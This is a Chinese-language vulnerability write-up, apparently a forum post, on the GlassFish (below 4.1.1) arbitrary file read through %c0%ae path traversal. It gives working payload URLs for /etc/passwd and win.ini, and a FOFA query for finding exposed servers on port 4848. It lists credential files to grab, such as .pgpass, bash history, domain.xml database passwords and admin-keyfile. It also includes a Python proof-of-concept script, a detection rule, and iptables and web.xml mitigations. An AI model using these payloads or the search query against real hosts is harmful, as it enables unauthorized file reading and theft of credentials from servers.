0x01 漏洞原理
Glassfish是一款java编写的跨平台的开源应用服务器。
与宽字节SQL注入一致,都是由Unicode编码歧义导致的。java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果。所以其实就是利用../../../.././进行目录穿越。
0x02 漏洞影响范围
Glassfish<4.1.1(不含 4.1.1)
0x03 搜索语法
fofa搜索
"GlassFish" && port="4848"
0x04 漏洞利用条件
Glassfish版本小于4.1.1。
0x05漏洞复现
可以使用vulhub进行环境搭建(https://vulhub.org/#/environments/glassfish/4.1.0/)。也可以直接使用fofa进行搜索。
fofa搜索:
"GlassFish" && port="4848"
根据搜索的结果,选择使用4.1.1版本的GlassFish进行测试。
Payload
Linux
http://test.com:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
Windows
http://test.com:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
访问/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd路径,可直接读取/etc/passwd文件。
获取数据库密码
linux下比较敏感的文件:
/etc/issue 版本信息
/var/spool/cron/crontabs/root 定时任务
/etc/passwd
/root/.bash_history bash环境下的命令执行历史记录
/root/.pgpass 记录连接postgressql服务器的密码
/root/.psql_history potgressql客户端的执行的sql语句历史记录
glassfish的敏感目录
domains/domain1/config/domain.xml 各种数据库密码位置
domains/domain1/config/admin-keyfile 后台密码存储位置
python POC
import requests
import argparse
from requests.packages import urllib3
urllib3.disable_warnings()
def url():
parser = argparse.ArgumentParser(description='GlassFish 任意文件读取 POC')
parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:4848')
args = parser.parse_args()
global url
url = args.target_url
#检测输入的url的正确性
if url.startswith('http://') or url.startswith('https://'):
pass
else:
print('[-]Please include http:// or https:// in the URL!!')
os._exit(0)
if url.endswith('/'):
url = url[:-1]
print('[+]author:chenchen')
print("[-]GlassFish 任意文件读取 POC",)
print("[-]开始执行检测...")
print("[-]目标地址:",url)
return url
def check():
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}
poc = "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"
url_1 = url + poc
try:
text = requests.get(url_1,headers=headers,verify=False).text
print(text)
if "root:x:" in text:
print('漏洞存在')
else:
print('漏洞不存在')
except Exception as a:
print('发生错误',a)
if __name__ == '__main__':
url()
check()
# 0x06 检测POC规则编写
params: []
name: 应用服务器GlassFish任意文件读取漏洞
set: {}
rules:
- method: GET
path: /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101
Firefox/83.0
body: ""
search: ""
followredirects: false
expression: |
response.status == 200 && response.body.bcontains(b"root:x")
groups: {}
detail:
author: ""
links: []
description: ""
version: ""
0x07 漏洞修复
1. 关闭远程管理关闭远程管理。
关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启 GlassFish 服务。
需要注意的是,关闭远程访问只能禁用远程 login 登录,但是攻击 url 还是可以访问,任意文件读取依然存在。
2. 设置IPtables 规则
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '..%c0%af' -j DROP
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '%c0%ae/' -j DROP
iptables -I INPUT -p tcp --dport 4848 -m string --to 120 --algo bm --string '../' -j DROP
但是该规则无法防御HTTPS SSL方案。
3. 禁用 web.xml theme 映射
\glassfish4\glassfish\lib\install\applications__admingui\WEB-INF\web.xml
<!--
<servlet-mapping>
<servlet-name>ThemeServlet</servlet-name>
<url-pattern>/theme/*</url-pattern>
</servlet-mapping>
-->
重启 glassfish 后生效。
请登录后查看回复内容